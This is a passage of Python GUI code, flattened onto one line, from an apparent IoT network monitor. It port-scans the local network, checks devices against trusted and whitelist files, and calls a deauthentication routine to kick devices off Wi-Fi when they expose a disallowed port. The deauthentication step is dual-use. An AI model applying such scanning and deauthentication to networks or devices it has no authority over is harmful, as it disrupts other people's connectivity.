")[3] in i: temp = i.split("=") f.write(temp[0] + "=" + str(text) + "\n") else: f.write(i + '\n') f.close() # history button def history_Click(self): history = HistoryGUI().__init__() ##scan button def scan_Click(self): self.scanbtn.setEnabled(False) print("Starting scan") self.scanner.scan_network_callback(lambda x: self.on_scan_completion(x), port_scan=True) def on_scan_completion(self, hosts): print("Scan completed") self.scanbtn.setEnabled(True) HistoryArchive.get_instance().add_scan(hosts) self.iotList.clear() i = 0 whitelist = Whitelist.get_instance() for host in hosts: item = QListWidgetItem() item.state = 0 item.host = host self.iotList.addItem(item) item = self.iotList.item(i) item_text_lines = [host.get_GUI_name(), "", "", ""] f = open("trusted", 'r') while True: line = f.readline() if not line: break if host.get_GUI_name().split(" ")[3] in line: temp = line.split("=") item_text_lines[1] = temp[len(temp)-1] item.state = 1 f.close() if len(host.ports) > 0: item_text_lines[2] = " Ports: " + ", ".join((str(port.port_id) for port in host.ports)) if host.mac_address in whitelist.semiwhitelist: allowed_ports = whitelist.semiwhitelist[host.mac_address] item.state = 2 item.setIcon(QIcon('LocalNetworkGUI/safeicon.png')) item.setBackground(QColor(255, 240, 150)) kick = False for port in host.ports: port_str = str(port.port_id) if port_str not in allowed_ports: print("Device", host.get_GUI_name(), "has illegal port", port.port_id, "open!") item_text_lines[3] = " Illegal port {}. Deauthenticating from network...".format(port.port_id) item_text_lines.append("") kick = True if kick: DeauthHandler.deauth_device(host, duration=20) elif item.state == 0: item.setIcon(QIcon('LocalNetworkGUI/dangericon.png')) item.setBackground(QColor(255, 195, 200)) elif item.state == 1: item.setIcon(QIcon('LocalNetworkGUI/safeicon.png')) item.setBackground(QColor(200, 255, 200)) else: item.setIcon(QIcon('LocalNetworkGUI/disconnecticon.png')) item.setBackground(QColor(200, 200, 200)) item.setText("\r\n".join(item_text_lines)) i += 1